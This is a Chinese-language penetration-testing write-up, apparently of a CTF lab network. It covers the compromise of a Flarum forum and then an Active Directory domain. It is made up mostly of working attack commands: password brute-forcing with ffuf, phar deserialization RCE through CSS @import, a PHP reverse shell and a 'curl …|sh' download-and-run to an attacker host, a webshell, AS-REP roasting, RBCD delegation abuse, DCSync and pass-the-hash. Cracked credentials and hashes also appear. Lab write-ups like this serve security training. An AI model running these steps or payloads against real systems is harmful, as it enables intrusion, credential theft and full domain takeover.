先扫描一下端口
1 | rustscan -a 39.99.228.28 -r 1-65535 |
就只开了4个端口,且此主机是linux机器
80端口是用Flarum框架搭的社区
没有找到什么可以利用的前台漏洞,只有从后台入手了。
因为注册的话需要激活,而这个站是发不了邮件的,所以得利用此网站现有的用户进行操作。
在注册账户的时候,他会先检测用户名是否存在,利用这点进行爆破用户名
数据包如下
在扫目录的时候,看到一个/api
路径,里面显示了管理员的邮箱
利用上面的数据包可以检测发现administrator用户存在
开始爆破密码
最开始用10w的字典没爆出来,然后换成rockyou.txt才爆破出来,密码为1chris
但是用bp加载这个200多mb的字典太慢了,也可以使用ffuf
1 | ffuf -u http://39.99.228.28/login -X POST -H "Content-Type: application/json" -d '{"identification":"administrator","password":"FUZZ","remember":false}' -w rockyou.txt -v -fc 401 |
登录进入后台
p牛有一篇关于flarum后台漏洞的文章:从偶遇Flarum开始的RCE之旅
利用方式即:
@import
来控制css文件头的内容,来使tar格式的phar文件能够成功反序列化data-uri
函数来读取文件,并通过phar://
来进行phar反序列化先用phpgcc生成一个tar格式的phar文件,内容为执行反弹shell的命令
这里我看别人的wp才知道,不能直接直接命令来弹shell,需要通过其他方式
先在一个端口开http服务,放入弹shell的命令文件
1 | php -r '$sock=fsockopen("vpsip",9010);exec("/bin/sh -i <&3 >&3 2>&3");' |
然后再反序列化执行命令,将其下载下来再执行,进行反弹shell
1 | php phpggc -p tar -b Monolog/RCE6 system "curl x.x.x.x:9020/1.txt|sh" |
后台修改:
1 | @import (inline) 'data:text/css;base64,dGVzdC50eHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2NjYAAAAAAAAAAAAAAAAAAAAAADAwMDAwMDAwMDA0ADE0NTE1NDUwNTUzADAwMDYyNzEgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhcgAwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuc(略)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='; |
在/assets/forum.css
可以看到phar文件已经被写入了
再修改自定义CSS,使用phar协议包含这个文件(可以使用相对路径):这个路径一定要写对,否则执行不了【md
1 | .test { |
得到反弹shell
尝试查找suid文件进行提权
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现没有可用的
再查找capabilities权限的文件
1 | $ getcap -r / 2>/dev/null |
发现openssl有cap权限,可用用来读取flag文件
这个gtf网站上居然没有记录
1 | openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes |
然后访问web服务获得flag01
1 | curl --http0.9 -k "https://39.99.228.28:8080/root/flag/flag01.txt" |
下载fscan,扫描一下内网
1 | $ ./fscan_386 -h 172.22.60.0/24 |
梳理如下
1 | 172.22.60.8 域控 |
现在需要找到域内的用户信息,在网站后台可以发现有很多的用户,试试这些用户能不能利用起来
写一个一句话木马到assets目录下,用蚁剑连接,然后将数据库用户名脱下来
在config.php能看到数据库密码
然后进行kerberos的AS_REP Roasting攻击(在之前需要上传frp进行内网穿透)
来筛选出没有开启预身份验证的用户,并获得可以用hashcat爆破的加密字符串
1 | proxychains4 -q python GetNPUsers.py -dc-ip 172.22.60.8 -usersfile dict/users.txt -format hashcat xiaorang.lab/ |
获得了两串hash,用hashcat爆破
1 | $krb5asrep$23$wangyun@XIAORANG.LAB:3e2df6b56d1730e6a7b97328d794d461$00b66b8217f501f1b0cfc68906c84934baff6a70e2edbcc9a3a5d510efd75fc3b41a9180f9d2d53d292e6da976c1edda6c59fcd352a58bd0393fd53c8071e8bb2fab30fd6b235782540c51ddb4eca663ca8aaefcf67a0a6b98372603410f10b6fe975049601f5cbff3038732bbdcadb07f9004d3e064b53f09e20b2d823557719568795c49c13ebb25f6c1d508a82475f8050eb215b9a612f64ceb7d3687948565266253263f0269ecc5063bebd268db81bf7998ea5afab00f40bf4b66c8c6d00d16faf0a8e4f7a824a19afc2b46a03f40302c2861768b9e5a38cfb4ae8f351275ffd0eb5e7c0bd869accb6e |
1 | hashcat -a 0 -m 18200 hash.txt rockyou.txt -o 2.txt |
爆破出一个用户凭据wangyun/Adm12geC
,然后用这个凭据跑Bloodhound进行域内信息收集
1 | proxychains4 -q python3 bloodhound.py -u wangyun@xiaorang.lab -p Adm12geC --zip -d xiaorang.lab -c All -ns 172.22.60.8 --dns-tcp |
可以发现 FILESERVER
主机有DCSync权限
然后可以看到ZHANGXIN
用户属于account operators
组,对FILESERVER
机器用户有GenericAll
权限
所有现在需要拥有ZHANGXIN
用户的凭据
扫描发现,172.22.60.15
主机是开了3389端口的
使用wangyun/Adm12geC
登录PC1
在里面看到了ZHANGXIN
的用户文件夹
同时zhangxin还用xshell连接过其他机器
如果要用mimikatz来抓取本地凭证的话,需要有system权限,所以尝试使用xshell7里遗留的凭证来撞库
得到zhangxin的凭据:zhangxin/admin4qwY38cc
使用这个凭据可以成功登录当前主机
现在看来,最大的突破点就是zhangxin是Acount Operators组
的用户,而此组可以控制域内除域控之外所有用户的属性
所有可以通过RBCD(基于资源的约束性委派)进行攻击
参考:
先创一个机器账户
1 | proxychains4 -q python addcomputer.py xiaorang.lab/zhangxin:'admin4qwY38cc' -computer-name TEST\$ -computer-pass 123456 -dc-ip 172.22.60.8 |
然后将FILESERVER$账户的基于资源的约束性委派对象设置为TEST$
即设置他的msDS-AllowedToActOnBehalfOfOtherIdentity
属性值
这样TEST$
服务就可以代表FILESERVER$
去访问FILESERVER可以访问的服务了
1 | proxychains4 -q python rbcd.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to FILESERVER\$ -delegate-from TEST\$ |
然后创建一个访问FILESERVER主机CIFS服务的服务票据
1 | proxychains4 -q python getST.py xiaorang.lab/TEST\$:123456 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.60.8 |
导入票据,直接登录FILESERVER主机,要修改一下hosts文件
1 | export KRB5CCNAME=administrator.ccache |
得到flag03: flag{9cc56fb3-e9b1-4345-8e1c-18ed495811a8}
上面知道,FILESERVE有DCSync权限,可以用这个来获取全域的用户凭据
先dumphash,来到FILESERVE$
账户的凭据
1 | ┌──(kali㉿kali)-[~/Desktop/tools/impacket-0.10.0/examples] |
1 | proxychains4 -q python3 secretsdump.py -k FILESERVER.xiaorang.lab -no-pass -dc-ip 172.22.60.8 |
然后进行DCSync,获取域管的凭据
1 | ┌──(kali㉿kali)-[~/Desktop/tools/impacket-0.10.0/examples] |
hash传递,登录域管
1 | proxychains4 python3 wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b administrator@172.22.60.8 |
获得flag04: flag{4635667c-14e5-487d-a447-7bc82b2b0a0c}
还有一个flag应该在PC1,直接使用域管的hash进行访问
1 | proxychains4 -q python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.15 |
拿到flag02: flag{9fb4e376-0e89-4fbb-8ab4-625f8b7d7d0b}